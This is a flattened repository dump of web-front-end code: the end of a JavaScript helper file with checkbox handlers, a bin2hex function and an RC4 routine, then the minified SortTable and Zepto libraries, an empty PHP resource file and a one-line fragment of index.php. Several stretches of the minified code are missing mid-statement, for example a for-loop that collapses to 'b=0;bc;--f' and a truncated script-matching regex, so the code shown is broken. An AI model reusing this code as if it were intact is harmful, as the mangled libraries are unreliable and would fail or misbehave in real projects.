$('#'+id).find('.cBoxSelected').not('.cBoxAll').each(function(i){ 455 | if((href = window[callback]($(this)))){ 456 | buffer[i] = href; 457 | } 458 | }); 459 | return buffer; 460 | } 461 | 462 | 463 | function cbox_bind(id, callback){ 464 | $('#'+id).find('.cBox').off('click'); 465 | $('#'+id).find('.cBoxAll').off('click'); 466 | 467 | $('#'+id).find('.cBox').on('click', function(e){ 468 | if($(this).hasClass('cBoxSelected')){ 469 | $(this).removeClass('cBoxSelected'); 470 | } 471 | else $(this).addClass('cBoxSelected'); 472 | if(callback!=null) window[callback](); 473 | }); 474 | $('#'+id).find('.cBoxAll').on('click', function(e){ 475 | if($(this).hasClass('cBoxSelected')){ 476 | $('#'+id).find('.cBox').removeClass('cBoxSelected'); 477 | $('#'+id).find('.cBoxAll').removeClass('cBoxSelected'); 478 | } 479 | else{ 480 | $('#'+id).find('.cBox').not('.cBoxException').addClass('cBoxSelected'); 481 | $('#'+id).find('.cBoxAll').not('.cBoxException').addClass('cBoxSelected'); 482 | } 483 | if(callback!=null) window[callback](); 484 | }); 485 | } 486 | 487 | function bin2hex(s) { 488 | var i, l, o = '', 489 | n; 490 | s += ''; 491 | for (i = 0, l = s.length; i < l; i++) { 492 | n = s.charCodeAt(i) 493 | .toString(16); 494 | o += n.length < 2 ? '0' + n : n; 495 | } 496 | return o; 497 | } 498 | 499 | function rc4(key, str) { 500 | var s = [], j = 0, x, res = ''; 501 | for (var i = 0; i < 256; i++) { 502 | s[i] = i; 503 | } 504 | for (i = 0; i < 256; i++) { 505 | j = (j + s[i] + key.charCodeAt(i % key.length)) % 256; 506 | x = s[i]; 507 | s[i] = s[j]; 508 | s[j] = x; 509 | } 510 | i = 0; 511 | j = 0; 512 | for (var y = 0; y < str.length; y++) { 513 | i = (i + 1) % 256; 514 | j = (j + s[i]) % 256; 515 | x = s[i]; 516 | s[i] = s[j]; 517 | s[j] = x; 518 | res += String.fromCharCode(str.charCodeAt(y) ^ s[(s[i] + s[j]) % 256]); 519 | } 520 | return res; 521 | } -------------------------------------------------------------------------------- /base/resources.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /base/sortable.js: -------------------------------------------------------------------------------- 1 | /** 2 | * 3 | * SortTable 4 | * version 2 5 | * 7th April 2007 6 | * Stuart Langridge, http://www.kryogenix.org/code/browser/sorttable/ 7 | * 8 | **/ 9 | var h=!0,j=!1; 10 | sorttable={e:function(){arguments.callee.i||(arguments.callee.i=h,k&&clearInterval(k),document.createElement&&document.getElementsByTagName&&(sorttable.a=/^(\d\d?)[\/\.-](\d\d?)[\/\.-]((\d\d)?\d\d)$/,l(document.getElementsByTagName("table"),function(a){-1!=a.className.search(/\bsortable\b/)&&sorttable.k(a)})))},k:function(a){0==a.getElementsByTagName("thead").length&&(the=document.createElement("thead"),the.appendChild(a.rows[0]),a.insertBefore(the,a.firstChild));null==a.tHead&&(a.tHead=a.getElementsByTagName("thead")[0]); 11 | if(1==a.tHead.rows.length){sortbottomrows=[];for(var b=0;bc;--f)0>b(a[f],a[f-1])&&(g=a[f],a[f]=a[f-1],a[f-1]=g,g=h);c++}}};document.addEventListener&&document.addEventListener("DOMContentLoaded",sorttable.e,j);if(/WebKit/i.test(navigator.userAgent))var k=setInterval(function(){/loaded|complete/.test(document.readyState)&&sorttable.e()},10); 21 | window.onload=sorttable.e;var n=1;function p(a){var b=h;a||(a=((this.ownerDocument||this.document||this).parentWindow||window).event,a.preventDefault=q,a.stopPropagation=r);var c=this.b[a.type],e;for(e in c)this.h=c[e],this.h(a)===j&&(b=j);return b}function q(){this.returnValue=j}function r(){this.cancelBubble=h}Array.forEach||(Array.forEach=function(a,b,c){for(var e=0;e0?c.fn.concat.apply([],a):a}function Q(a){return a.replace(/::/g,"/").replace(/([A-Z]+)([A-Z][a-z])/g,"$1_$2").replace(/([a-z\d])([A-Z])/g,"$1_$2").replace(/_/g,"-").toLowerCase()}function R(a){return a in j?j[a]:j[a]=new RegExp("(^|\\s)"+a+"(\\s|$)")}function S(a,b){return typeof b=="number"&&!k[Q(a)]?b+"px":b}function T(a){var b,c;return i[a]||(b=h.createElement(a),h.body.appendChild(b),c=getComputedStyle(b,"").getPropertyValue("display"),b.parentNode.removeChild(b),c=="none"&&(c="block"),i[a]=c),i[a]}function U(a){return"children"in a?f.call(a.children):c.map(a.childNodes,function(a){if(a.nodeType==1)return a})}function V(c,d,e){for(b in d)e&&(L(d[b])||M(d[b]))?(L(d[b])&&!L(c[b])&&(c[b]={}),M(d[b])&&!M(c[b])&&(c[b]=[]),V(c[b],d[b],e)):d[b]!==a&&(c[b]=d[b])}function W(a,b){return b==null?c(a):c(a).filter(b)}function X(a,b,c,d){return H(b)?b.call(a,c,d):b}function Y(a,b,c){c==null?a.removeAttribute(b):a.setAttribute(b,c)}function Z(b,c){var d=b.className,e=d&&d.baseVal!==a;if(c===a)return e?d.baseVal:d;e?d.baseVal=c:b.className=c}function $(a){var b;try{return a?a=="true"||(a=="false"?!1:a=="null"?null:!/^0/.test(a)&&!isNaN(b=Number(a))?b:/^[\[\{]/.test(a)?c.parseJSON(a):a):a}catch(d){return a}}function _(a,b){b(a);for(var c in a.childNodes)_(a.childNodes[c],b)}var a,b,c,d,e=[],f=e.slice,g=e.filter,h=window.document,i={},j={},k={"column-count":1,columns:1,"font-weight":1,"line-height":1,opacity:1,"z-index":1,zoom:1},l=/^\s*<(\w+|!)[^>]*>/,m=/^<(\w+)\s*\/?>(?:<\/\1>|)$/,n=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/ig,o=/^(?:body|html)$/i,p=/([A-Z])/g,q=["val","css","html","text","data","width","height","offset"],r=["after","prepend","before","append"],s=h.createElement("table"),t=h.createElement("tr"),u={tr:h.createElement("tbody"),tbody:s,thead:s,tfoot:s,td:t,th:t,"*":h.createElement("div")},v=/complete|loaded|interactive/,w=/^\.([\w-]+)$/,x=/^#([\w-]*)$/,y=/^[\w-]*$/,z={},A=z.toString,B={},C,D,E=h.createElement("div"),F={tabindex:"tabIndex",readonly:"readOnly","for":"htmlFor","class":"className",maxlength:"maxLength",cellspacing:"cellSpacing",cellpadding:"cellPadding",rowspan:"rowSpan",colspan:"colSpan",usemap:"useMap",frameborder:"frameBorder",contenteditable:"contentEditable"};return B.matches=function(a,b){if(!b||!a||a.nodeType!==1)return!1;var c=a.webkitMatchesSelector||a.mozMatchesSelector||a.oMatchesSelector||a.matchesSelector;if(c)return c.call(a,b);var d,e=a.parentNode,f=!e;return f&&(e=E).appendChild(a),d=~B.qsa(e,b).indexOf(a),f&&E.removeChild(a),d},C=function(a){return a.replace(/-+(.)?/g,function(a,b){return b?b.toUpperCase():""})},D=function(a){return g.call(a,function(b,c){return a.indexOf(b)==c})},B.fragment=function(b,d,e){var g,i,j;return m.test(b)&&(g=c(h.createElement(RegExp.$1))),g||(b.replace&&(b=b.replace(n,"<$1>")),d===a&&(d=l.test(b)&&RegExp.$1),d in u||(d="*"),j=u[d],j.innerHTML=""+b,g=c.each(f.call(j.childNodes),function(){j.removeChild(this)})),L(e)&&(i=c(g),c.each(e,function(a,b){q.indexOf(a)>-1?i[a](b):i.attr(a,b)})),g},B.Z=function(a,b){return a=a||[],a.__proto__=c.fn,a.selector=b||"",a},B.isZ=function(a){return a instanceof B.Z},B.init=function(b,d){var e;if(!b)return B.Z();if(typeof b=="string"){b=b.trim();if(b[0]=="<"&&l.test(b))e=B.fragment(b,RegExp.$1,d),b=null;else{if(d!==a)return c(d).find(b);e=B.qsa(h,b)}}else{if(H(b))return c(h).ready(b);if(B.isZ(b))return b;if(M(b))e=O(b);else if(K(b))e=[b],b=null;else if(l.test(b))e=B.fragment(b.trim(),RegExp.$1,d),b=null;else{if(d!==a)return c(d).find(b);e=B.qsa(h,b)}}return B.Z(e,b)},c=function(a,b){return B.init(a,b)},c.extend=function(a){var b,c=f.call(arguments,1);return typeof a=="boolean"&&(b=a,a=c.shift()),c.forEach(function(c){V(a,c,b)}),a},B.qsa=function(a,b){var c,d=b[0]=="#",e=!d&&b[0]==".",g=d||e?b.slice(1):b,h=y.test(g);return J(a)&&h&&d?(c=a.getElementById(g))?[c]:[]:a.nodeType!==1&&a.nodeType!==9?[]:f.call(h&&!d?e?a.getElementsByClassName(g):a.getElementsByTagName(b):a.querySelectorAll(b))},c.contains=function(a,b){return a!==b&&a.contains(b)},c.type=G,c.isFunction=H,c.isWindow=I,c.isArray=M,c.isPlainObject=L,c.isEmptyObject=function(a){var b;for(b in a)return!1;return!0},c.inArray=function(a,b,c){return e.indexOf.call(b,a,c)},c.camelCase=C,c.trim=function(a){return a==null?"":String.prototype.trim.call(a)},c.uuid=0,c.support={},c.expr={},c.map=function(a,b){var c,d=[],e,f;if(N(a))for(e=0;e=0?b:b+this.length]},toArray:function(){return this.get()},size:function(){return this.length},remove:function(){return this.each(function(){this.parentNode!=null&&this.parentNode.removeChild(this)})},each:function(a){return e.every.call(this,function(b,c){return a.call(b,c,b)!==!1}),this},filter:function(a){return H(a)?this.not(this.not(a)):c(g.call(this,function(b){return B.matches(b,a)}))},add:function(a,b){return c(D(this.concat(c(a,b))))},is:function(a){return this.length>0&&B.matches(this[0],a)},not:function(b){var d=[];if(H(b)&&b.call!==a)this.each(function(a){b.call(this,a)||d.push(this)});else{var e=typeof b=="string"?this.filter(b):N(b)&&H(b.item)?f.call(b):c(b);this.forEach(function(a){e.indexOf(a)<0&&d.push(a)})}return c(d)},has:function(a){return this.filter(function(){return K(a)?c.contains(this,a):c(this).find(a).size()})},eq:function(a){return a===-1?this.slice(a):this.slice(a,+a+1)},first:function(){var a=this[0];return a&&!K(a)?a:c(a)},last:function(){var a=this[this.length-1];return a&&!K(a)?a:c(a)},find:function(a){var b,d=this;return typeof a=="object"?b=c(a).filter(function(){var a=this;return e.some.call(d,function(b){return c.contains(b,a)})}):this.length==1?b=c(B.qsa(this[0],a)):b=this.map(function(){return B.qsa(this,a)}),b},closest:function(a,b){var d=this[0],e=!1;typeof a=="object"&&(e=c(a));while(d&&!(e?e.indexOf(d)>=0:B.matches(d,a)))d=d!==b&&!J(d)&&d.parentNode;return c(d)},parents:function(a){var b=[],d=this;while(d.length>0)d=c.map(d,function(a){if((a=a.parentNode)&&!J(a)&&b.indexOf(a)<0)return b.push(a),a});return W(b,a)},parent:function(a){return W(D(this.pluck("parentNode")),a)},children:function(a){return W(this.map(function(){return U(this)}),a)},contents:function(){return this.map(function(){return f.call(this.childNodes)})},siblings:function(a){return W(this.map(function(a,b){return g.call(U(b.parentNode),function(a){return a!==b})}),a)},empty:function(){return this.each(function(){this.innerHTML=""})},pluck:function(a){return c.map(this,function(b){return b[a]})},show:function(){return this.each(function(){this.style.display=="none"&&(this.style.display=""),getComputedStyle(this,"").getPropertyValue("display")=="none"&&(this.style.display=T(this.nodeName))})},replaceWith:function(a){return this.before(a).remove()},wrap:function(a){var b=H(a);if(this[0]&&!b)var d=c(a).get(0),e=d.parentNode||this.length>1;return this.each(function(f){c(this).wrapAll(b?a.call(this,f):e?d.cloneNode(!0):d)})},wrapAll:function(a){if(this[0]){c(this[0]).before(a=c(a));var b;while((b=a.children()).length)a=b.first();c(a).append(this)}return this},wrapInner:function(a){var b=H(a);return this.each(function(d){var e=c(this),f=e.contents(),g=b?a.call(this,d):a;f.length?f.wrapAll(g):e.append(g)})},unwrap:function(){return this.parent().each(function(){c(this).replaceWith(c(this).children())}),this},clone:function(){return this.map(function(){return this.cloneNode(!0)})},hide:function(){return this.css("display","none")},toggle:function(b){return this.each(function(){var d=c(this);(b===a?d.css("display")=="none":b)?d.show():d.hide()})},prev:function(a){return c(this.pluck("previousElementSibling")).filter(a||"*")},next:function(a){return c(this.pluck("nextElementSibling")).filter(a||"*")},html:function(a){return arguments.length===0?this.length>0?this[0].innerHTML:null:this.each(function(b){var d=this.innerHTML;c(this).empty().append(X(this,a,b,d))})},text:function(b){return arguments.length===0?this.length>0?this[0].textContent:null:this.each(function(){this.textContent=b===a?"":""+b})},attr:function(c,d){var e;return typeof c=="string"&&d===a?this.length==0||this[0].nodeType!==1?a:c=="value"&&this[0].nodeName=="INPUT"?this.val():!(e=this[0].getAttribute(c))&&c in this[0]?this[0][c]:e:this.each(function(a){if(this.nodeType!==1)return;if(K(c))for(b in c)Y(this,b,c[b]);else Y(this,c,X(this,d,a,this.getAttribute(c)))})},removeAttr:function(a){return this.each(function(){this.nodeType===1&&Y(this,a)})},prop:function(b,c){return b=F[b]||b,c===a?this[0]&&this[0][b]:this.each(function(a){this[b]=X(this,c,a,this[b])})},data:function(b,c){var d=this.attr("data-"+b.replace(p,"-$1").toLowerCase(),c);return d!==null?$(d):a},val:function(a){return arguments.length===0?this[0]&&(this[0].multiple?c(this[0]).find("option").filter(function(){return this.selected}).pluck("value"):this[0].value):this.each(function(b){this.value=X(this,a,b,this.value)})},offset:function(a){if(a)return this.each(function(b){var d=c(this),e=X(this,a,b,d.offset()),f=d.offsetParent().offset(),g={top:e.top-f.top,left:e.left-f.left};d.css("position")=="static"&&(g.position="relative"),d.css(g)});if(this.length==0)return null;var b=this[0].getBoundingClientRect();return{left:b.left+window.pageXOffset,top:b.top+window.pageYOffset,width:Math.round(b.width),height:Math.round(b.height)}},css:function(a,d){if(arguments.length<2){var e=this[0],f=getComputedStyle(e,"");if(!e)return;if(typeof a=="string")return e.style[C(a)]||f.getPropertyValue(a);if(M(a)){var g={};return c.each(M(a)?a:[a],function(a,b){g[b]=e.style[C(b)]||f.getPropertyValue(b)}),g}}var h="";if(G(a)=="string")!d&&d!==0?this.each(function(){this.style.removeProperty(Q(a))}):h=Q(a)+":"+S(a,d);else for(b in a)!a[b]&&a[b]!==0?this.each(function(){this.style.removeProperty(Q(b))}):h+=Q(b)+":"+S(b,a[b])+";";return this.each(function(){this.style.cssText+=";"+h})},index:function(a){return a?this.indexOf(c(a)[0]):this.parent().children().indexOf(this[0])},hasClass:function(a){return a?e.some.call(this,function(a){return this.test(Z(a))},R(a)):!1},addClass:function(a){return a?this.each(function(b){d=[];var e=Z(this),f=X(this,a,b,e);f.split(/\s+/g).forEach(function(a){c(this).hasClass(a)||d.push(a)},this),d.length&&Z(this,e+(e?" ":"")+d.join(" "))}):this},removeClass:function(b){return this.each(function(c){if(b===a)return Z(this,"");d=Z(this),X(this,b,c,d).split(/\s+/g).forEach(function(a){d=d.replace(R(a)," ")}),Z(this,d.trim())})},toggleClass:function(b,d){return b?this.each(function(e){var f=c(this),g=X(this,b,e,Z(this));g.split(/\s+/g).forEach(function(b){(d===a?!f.hasClass(b):d)?f.addClass(b):f.removeClass(b)})}):this},scrollTop:function(b){if(!this.length)return;var c="scrollTop"in this[0];return b===a?c?this[0].scrollTop:this[0].pageYOffset:this.each(c?function(){this.scrollTop=b}:function(){this.scrollTo(this.scrollX,b)})},scrollLeft:function(b){if(!this.length)return;var c="scrollLeft"in this[0];return b===a?c?this[0].scrollLeft:this[0].pageXOffset:this.each(c?function(){this.scrollLeft=b}:function(){this.scrollTo(b,this.scrollY)})},position:function(){if(!this.length)return;var a=this[0],b=this.offsetParent(),d=this.offset(),e=o.test(b[0].nodeName)?{top:0,left:0}:b.offset();return d.top-=parseFloat(c(a).css("margin-top"))||0,d.left-=parseFloat(c(a).css("margin-left"))||0,e.top+=parseFloat(c(b[0]).css("border-top-width"))||0,e.left+=parseFloat(c(b[0]).css("border-left-width"))||0,{top:d.top-e.top,left:d.left-e.left}},offsetParent:function(){return this.map(function(){var a=this.offsetParent||h.body;while(a&&!o.test(a.nodeName)&&c(a).css("position")=="static")a=a.offsetParent;return a})}},c.fn.detach=c.fn.remove,["width","height"].forEach(function(b){var d=b.replace(/./,function(a){return a[0].toUpperCase()});c.fn[b]=function(e){var f,g=this[0];return e===a?I(g)?g["inner"+d]:J(g)?g.documentElement["scroll"+d]:(f=this.offset())&&f[b]:this.each(function(a){g=c(this),g.css(b,X(this,e,a,g[b]()))})}}),r.forEach(function(a,b){var d=b%2;c.fn[a]=function(){var a,e=c.map(arguments,function(b){return a=G(b),a=="object"||a=="array"||b==null?b:B.fragment(b)}),f,g=this.length>1;return e.length<1?this:this.each(function(a,h){f=d?h:h.parentNode,h=b==0?h.nextSibling:b==1?h.firstChild:b==2?h:null,e.forEach(function(a){if(g)a=a.cloneNode(!0);else if(!f)return c(a).remove();_(f.insertBefore(a,h),function(a){a.nodeName!=null&&a.nodeName.toUpperCase()==="SCRIPT"&&(!a.type||a.type==="text/javascript")&&!a.src&&window.eval.call(window,a.innerHTML)})})})},c.fn[d?a+"To":"insert"+(b?"Before":"After")]=function(b){return c(b)[a](this),this}}),B.Z.prototype=c.fn,B.uniq=D,B.deserializeValue=$,c.zepto=B,c}();window.Zepto=Zepto,window.$===undefined&&(window.$=Zepto),function(a){function m(a){return a._zid||(a._zid=c++)}function n(a,b,c,d){b=o(b);if(b.ns)var e=p(b.ns);return(h[m(a)]||[]).filter(function(a){return a&&(!b.e||a.e==b.e)&&(!b.ns||e.test(a.ns))&&(!c||m(a.fn)===m(c))&&(!d||a.sel==d)})}function o(a){var b=(""+a).split(".");return{e:b[0],ns:b.slice(1).sort().join(" ")}}function p(a){return new RegExp("(?:^| )"+a.replace(" "," .* ?")+"(?: |$)")}function q(a,b){return a.del&&!j&&a.e in k||!!b}function r(a){return l[a]||j&&k[a]||a}function s(b,c,e,f,g,i,j){var k=m(b),n=h[k]||(h[k]=[]);c.split(/\s/).forEach(function(c){if(c=="ready")return a(document).ready(e);var h=o(c);h.fn=e,h.sel=g,h.e in l&&(e=function(b){var c=b.relatedTarget;if(!c||c!==this&&!a.contains(this,c))return h.fn.apply(this,arguments)}),h.del=i;var k=i||e;h.proxy=function(a){a=y(a);if(a.isImmediatePropagationStopped())return;a.data=f;var c=k.apply(b,a._args==d?[a]:[a].concat(a._args));return c===!1&&(a.preventDefault(),a.stopPropagation()),c},h.i=n.length,n.push(h),"addEventListener"in b&&b.addEventListener(r(h.e),h.proxy,q(h,j))})}function t(a,b,c,d,e){var f=m(a);(b||"").split(/\s/).forEach(function(b){n(a,b,c,d).forEach(function(b){delete h[f][b.i],"removeEventListener"in a&&a.removeEventListener(r(b.e),b.proxy,q(b,e))})})}function y(b,c){if(c||!b.isDefaultPrevented){c||(c=b),a.each(x,function(a,d){var e=c[a];b[a]=function(){return this[d]=u,e&&e.apply(c,arguments)},b[d]=v});if(c.defaultPrevented!==d?c.defaultPrevented:"returnValue"in c?c.returnValue===!1:c.getPreventDefault&&c.getPreventDefault())b.isDefaultPrevented=u}return b}function z(a){var b,c={originalEvent:a};for(b in a)!w.test(b)&&a[b]!==d&&(c[b]=a[b]);return y(c,a)}var b=a.zepto.qsa,c=1,d,e=Array.prototype.slice,f=a.isFunction,g=function(a){return typeof a=="string"},h={},i={},j="onfocusin"in window,k={focus:"focusin",blur:"focusout"},l={mouseenter:"mouseover",mouseleave:"mouseout"};i.click=i.mousedown=i.mouseup=i.mousemove="MouseEvents",a.event={add:s,remove:t},a.proxy=function(b,c){if(f(b)){var d=function(){return b.apply(c,arguments)};return d._zid=m(b),d}if(g(c))return a.proxy(b[c],b);throw new TypeError("expected function")},a.fn.bind=function(a,b,c){return this.on(a,b,c)},a.fn.unbind=function(a,b){return this.off(a,b)},a.fn.one=function(a,b,c,d){return this.on(a,b,c,d,1)};var u=function(){return!0},v=function(){return!1},w=/^([A-Z]|returnValue$|layer[XY]$)/,x={preventDefault:"isDefaultPrevented",stopImmediatePropagation:"isImmediatePropagationStopped",stopPropagation:"isPropagationStopped"};a.fn.delegate=function(a,b,c){return this.on(b,a,c)},a.fn.undelegate=function(a,b,c){return this.off(b,a,c)},a.fn.live=function(b,c){return a(document.body).delegate(this.selector,b,c),this},a.fn.die=function(b,c){return a(document.body).undelegate(this.selector,b,c),this},a.fn.on=function(b,c,h,i,j){var k,l,m=this;if(b&&!g(b))return a.each(b,function(a,b){m.on(a,c,h,b,j)}),m;!g(c)&&!f(i)&&i!==!1&&(i=h,h=c,c=d);if(f(h)||h===!1)i=h,h=d;return i===!1&&(i=v),m.each(function(d,f){j&&(k=function(a){return t(f,a.type,i),i.apply(this,arguments)}),c&&(l=function(b){var d,g=a(b.target).closest(c,f).get(0);if(g&&g!==f)return d=a.extend(z(b),{currentTarget:g,liveFired:f}),(k||i).apply(g,[d].concat(e.call(arguments,1)))}),s(f,b,i,h,c,l||k)})},a.fn.off=function(b,c,e){var h=this;return b&&!g(b)?(a.each(b,function(a,b){h.off(a,c,b)}),h):(!g(c)&&!f(e)&&e!==!1&&(e=c,c=d),e===!1&&(e=v),h.each(function(){t(this,b,e,c)}))},a.fn.trigger=function(b,c){return b=g(b)||a.isPlainObject(b)?a.Event(b):y(b),b._args=c,this.each(function(){"dispatchEvent"in this?this.dispatchEvent(b):a(this).triggerHandler(b,c)})},a.fn.triggerHandler=function(b,c){var d,e;return this.each(function(f,h){d=z(g(b)?a.Event(b):b),d._args=c,d.target=h,a.each(n(h,b.type||b),function(a,b){e=b.proxy(d);if(d.isImmediatePropagationStopped())return!1})}),e},"focusin focusout load resize scroll unload click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select keydown keypress keyup error".split(" ").forEach(function(b){a.fn[b]=function(a){return a?this.bind(b,a):this.trigger(b)}}),["focus","blur"].forEach(function(b){a.fn[b]=function(a){return a?this.bind(b,a):this.each(function(){try{this[b]()}catch(a){}}),this}}),a.Event=function(a,b){g(a)||(b=a,a=b.type);var c=document.createEvent(i[a]||"Events"),d=!0;if(b)for(var e in b)e=="bubbles"?d=!!b[e]:c[e]=b[e];return c.initEvent(a,d,!0),y(c)}}(Zepto),function($){function triggerAndReturn(a,b,c){var d=$.Event(b);return $(a).trigger(d,c),!d.isDefaultPrevented()}function triggerGlobal(a,b,c,d){if(a.global)return triggerAndReturn(b||document,c,d)}function ajaxStart(a){a.global&&$.active++===0&&triggerGlobal(a,null,"ajaxStart")}function ajaxStop(a){a.global&&!--$.active&&triggerGlobal(a,null,"ajaxStop")}function ajaxBeforeSend(a,b){var c=b.context;if(b.beforeSend.call(c,a,b)===!1||triggerGlobal(b,c,"ajaxBeforeSend",[a,b])===!1)return!1;triggerGlobal(b,c,"ajaxSend",[a,b])}function ajaxSuccess(a,b,c,d){var e=c.context,f="success";c.success.call(e,a,f,b),d&&d.resolveWith(e,[a,f,b]),triggerGlobal(c,e,"ajaxSuccess",[b,c,a]),ajaxComplete(f,b,c)}function ajaxError(a,b,c,d,e){var f=d.context;d.error.call(f,c,b,a),e&&e.rejectWith(f,[c,b,a]),triggerGlobal(d,f,"ajaxError",[c,d,a||b]),ajaxComplete(b,c,d)}function ajaxComplete(a,b,c){var d=c.context;c.complete.call(d,b,a),triggerGlobal(c,d,"ajaxComplete",[b,c]),ajaxStop(c)}function empty(){}function mimeToDataType(a){return a&&(a=a.split(";",2)[0]),a&&(a==htmlType?"html":a==jsonType?"json":scriptTypeRE.test(a)?"script":xmlTypeRE.test(a)&&"xml")||"text"}function appendQuery(a,b){return b==""?a:(a+"&"+b).replace(/[&?]{1,2}/,"?")}function serializeData(a){a.processData&&a.data&&$.type(a.data)!="string"&&(a.data=$.param(a.data,a.traditional)),a.data&&(!a.type||a.type.toUpperCase()=="GET")&&(a.url=appendQuery(a.url,a.data),a.data=undefined)}function parseArguments(a,b,c,d){var e=!$.isFunction(b);return{url:a,data:e?b:undefined,success:e?$.isFunction(c)?c:undefined:b,dataType:e?d||c:c}}function serialize(a,b,c,d){var e,f=$.isArray(b),g=$.isPlainObject(b);$.each(b,function(b,h){e=$.type(h),d&&(b=c?d:d+"["+(g||e=="object"||e=="array"?b:"")+"]"),!d&&f?a.add(h.name,h.value):e=="array"||!c&&e=="object"?serialize(a,h,c,b):a.add(b,h)})}var jsonpID=0,document=window.document,key,name,rscript=/)<[^<]*)*<\/script>/gi,scriptTypeRE=/^(?:text|application)\/javascript/i,xmlTypeRE=/^(?:text|application)\/xml/i,jsonType="application/json",htmlType="text/html",blankRE=/^\s*$/;$.active=0,$.ajaxJSONP=function(a,b){if("type"in a){var c=a.jsonpCallback,d=($.isFunction(c)?c():c)||"jsonp"+ ++jsonpID,e=document.createElement("script"),f=window[d],g,h=function(a){$(e).triggerHandler("error",a||"abort")},i={abort:h},j;return b&&b.promise(i),$(e).on("load error",function(c,h){clearTimeout(j),$(e).off().remove(),c.type=="error"||!g?ajaxError(null,h||"error",i,a,b):ajaxSuccess(g[0],i,a,b),window[d]=f,g&&$.isFunction(f)&&f(g[0]),f=g=undefined}),ajaxBeforeSend(i,a)===!1?(h("abort"),i):(window[d]=function(){g=arguments},e.src=a.url.replace(/=\?/,"="+d),document.head.appendChild(e),a.timeout>0&&(j=setTimeout(function(){h("timeout")},a.timeout)),i)}return $.ajax(a)},$.ajaxSettings={type:"GET",beforeSend:empty,success:empty,error:empty,complete:empty,context:null,global:!0,xhr:function(){return new window.XMLHttpRequest},accepts:{script:"text/javascript, application/javascript, application/x-javascript",json:jsonType,xml:"application/xml, text/xml",html:htmlType,text:"text/plain"},crossDomain:!1,timeout:0,processData:!0,cache:!0},$.ajax=function(options){var settings=$.extend({},options||{}),deferred=$.Deferred&&$.Deferred();for(key in $.ajaxSettings)settings[key]===undefined&&(settings[key]=$.ajaxSettings[key]);ajaxStart(settings),settings.crossDomain||(settings.crossDomain=/^([\w-]+:)?\/\/([^\/]+)/.test(settings.url)&&RegExp.$2!=window.location.host),settings.url||(settings.url=window.location.toString()),serializeData(settings),settings.cache===!1&&(settings.url=appendQuery(settings.url,"_="+Date.now()));var dataType=settings.dataType,hasPlaceholder=/=\?/.test(settings.url);if(dataType=="jsonp"||hasPlaceholder)return hasPlaceholder||(settings.url=appendQuery(settings.url,settings.jsonp?settings.jsonp+"=?":settings.jsonp===!1?"":"callback=?")),$.ajaxJSONP(settings,deferred);var mime=settings.accepts[dataType],headers={},setHeader=function(a,b){headers[a.toLowerCase()]=[a,b]},protocol=/^([\w-]+:)\/\//.test(settings.url)?RegExp.$1:window.location.protocol,xhr=settings.xhr(),nativeSetHeader=xhr.setRequestHeader,abortTimeout;deferred&&deferred.promise(xhr),settings.crossDomain||setHeader("X-Requested-With","XMLHttpRequest"),setHeader("Accept",mime||"*/*");if(mime=settings.mimeType||mime)mime.indexOf(",")>-1&&(mime=mime.split(",",2)[0]),xhr.overrideMimeType&&xhr.overrideMimeType(mime);(settings.contentType||settings.contentType!==!1&&settings.data&&settings.type.toUpperCase()!="GET")&&setHeader("Content-Type",settings.contentType||"application/x-www-form-urlencoded");if(settings.headers)for(name in settings.headers)setHeader(name,settings.headers[name]);xhr.setRequestHeader=setHeader,xhr.onreadystatechange=function(){if(xhr.readyState==4){xhr.onreadystatechange=empty,clearTimeout(abortTimeout);var result,error=!1;if(xhr.status>=200&&xhr.status<300||xhr.status==304||xhr.status==0&&protocol=="file:"){dataType=dataType||mimeToDataType(settings.mimeType||xhr.getResponseHeader("content-type")),result=xhr.responseText;try{dataType=="script"?(1,eval)(result):dataType=="xml"?result=xhr.responseXML:dataType=="json"&&(result=blankRE.test(result)?null:$.parseJSON(result))}catch(e){error=e}error?ajaxError(error,"parsererror",xhr,settings,deferred):ajaxSuccess(result,xhr,settings,deferred)}else ajaxError(xhr.statusText||null,xhr.status?"error":"abort",xhr,settings,deferred)}};if(ajaxBeforeSend(xhr,settings)===!1)return xhr.abort(),ajaxError(null,"abort",xhr,settings,deferred),xhr;if(settings.xhrFields)for(name in settings.xhrFields)xhr[name]=settings.xhrFields[name];var async="async"in settings?settings.async:!0;xhr.open(settings.type,settings.url,async,settings.username,settings.password);for(name in headers)nativeSetHeader.apply(xhr,headers[name]);return settings.timeout>0&&(abortTimeout=setTimeout(function(){xhr.onreadystatechange=empty,xhr.abort(),ajaxError(null,"timeout",xhr,settings,deferred)},settings.timeout)),xhr.send(settings.data?settings.data:null),xhr},$.get=function(a,b,c,d){return $.ajax(parseArguments.apply(null,arguments))},$.post=function(a,b,c,d){var e=parseArguments.apply(null,arguments);return e.type="POST",$.ajax(e)},$.getJSON=function(a,b,c){var d=parseArguments.apply(null,arguments);return d.dataType="json",$.ajax(d)},$.fn.load=function(a,b,c){if(!this.length)return this;var d=this,e=a.split(/\s/),f,g=parseArguments(a,b,c),h=g.success;return e.length>1&&(g.url=e[0],f=e[1]),g.success=function(a){d.html(f?$("
").html(a.replace(rscript,"")).find(f):a),h&&h.apply(d,arguments)},$.ajax(g),this};var escape=encodeURIComponent;$.param=function(a,b){var c=[];return c.add=function(a,b){this.push(escape(a)+"="+escape(b))},serialize(c,a,b),c.join("&").replace(/%20/g,"+")}}(Zepto),function(a){a.fn.serializeArray=function(){var b=[],c;return a([].slice.call(this.get(0).elements)).each(function(){c=a(this);var d=c.attr("type");this.nodeName.toLowerCase()!="fieldset"&&!this.disabled&&d!="submit"&&d!="reset"&&d!="button"&&(d!="radio"&&d!="checkbox"||this.checked)&&b.push({name:c.attr("name"),value:c.val()})}),b},a.fn.serialize=function(){var a=[];return this.serializeArray().forEach(function(b){a.push(encodeURIComponent(b.name)+"="+encodeURIComponent(b.value))}),a.join("&")},a.fn.submit=function(b){if(b)this.bind("submit",b);else if(this.length){var c=a.Event("submit");this.eq(0).trigger(c),c.isDefaultPrevented()||this.get(0).submit()}return this}}(Zepto),function(a){"__proto__"in{}||a.extend(a.zepto,{Z:function(b,c){return b=b||[],a.extend(b,a.fn),b.selector=c||"",b.__Z=!0,b},isZ:function(b){return a.type(b)==="array"&&"__Z"in b}});try{getComputedStyle(undefined)}catch(b){var c=getComputedStyle;window.getComputedStyle=function(a){try{return c(a)}catch(b){return null}}}}(Zepto) -------------------------------------------------------------------------------- /index.php: -------------------------------------------------------------------------------- 1 | ", $css_code, $layout); 73 